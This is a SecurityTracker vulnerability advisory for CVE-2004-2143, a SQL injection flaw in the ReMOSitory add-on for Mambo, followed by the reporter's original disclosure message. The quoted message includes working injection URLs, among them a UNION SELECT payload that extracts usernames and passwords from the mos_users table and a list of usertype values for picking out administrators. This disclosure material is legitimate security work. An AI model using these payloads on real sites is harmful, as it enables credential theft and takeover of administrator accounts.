SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Forum/Board/Portal)  >   ReMOSitory Vendors:   Smith, Matt
ReMOSitory Server Input Validation Hole in 'filecatid' Lets Remote Users Inject SQL Commands
SecurityTracker Alert ID:  1011356
SecurityTracker URL:  http://securitytracker.com/id/1011356
CVE Reference:   CVE-2004-2143   (Links to External Site)
Updated:  Jul 2 2005
Original Entry Date:  Sep 18 2004
Impact:   Execution of arbitrary code via network, User access via network
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  

Description:   An input validation vulnerability was reported in the ReMOSitory add-on for Mambo Open Server. A remote user can inject SQL commands.

The software does not properly validate user-supplied input in the 'filecatid' parameter. A remote user can submit a specially crafted request to inject SQL commands.

A demonstration exploit URL is provided:

http://[target]/index.php?option=com_remository&Itemid=27&func=fileinfo&parent=folder&filecatid=499%20and%201=0[SQL]/*

The flaw does not reside in the Mambo Open Server core itself, but rather, in the 3rd party ReMOSitory software.

khoai reported this vulnerability.

Impact:   A remote user can inject SQL commands to be executed by the underlying database.
Solution:   The vendor indicates that ReMOSitory is no longer supported.

The vendor reports that Arthur Konze from mamboportal.com has provided a patch, available at:

http://www.mamboportal.com/uploadfiles/remository_fix.zip

Gene Rodrigues (mmx) reported that an alternate to ReMOSitory is 'Docman', available at:

http://mamboforge.net

Vendor URL:  mambo.clippersoft.net/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  Mambo Portal lasted version 4.5.1 (1.09) and lower vesion : SQL




Vendor
www.mamboportal.com
Message from vendor : Mambo is one of the most powerful Open Source Content Management Systems on the planet. It is used all over
 the world for everything from simple websites to complex corporate applications. Mambo is easy to install, simple to manage, and
 reliable. 

Bug name : SQL injection
Version : lastest Version 4.5.1(1.0.9) and lower.

Exploit :

http://www.mamboportal.com/index.php?option=com_remository&Itemid=27&func=fileinfo&parent=folder&filecatid=499%20and%201=0[SQL]/*

You can exploit from the table "mos_users" with the query below

http://www.mambosite.com/index.php?option=com_remository&Itemid=[id]&func=selectfolder&filecatid=[id]%20and%201=0%20union%20all%20select%201,2,3,4,username,6,password,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20mos_users%20where%20usert
ype=0/*

with the values of usertype : 
 0 = superadministrator
 1 = administrator
 2 = editor
 3 = user
 5 = publisher
 6 = manager

Vendor feedback :
Not yet

Vendor patch :
Not yet

khoai
www.xfrog.org

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2020, SecurityGlobal.net LLC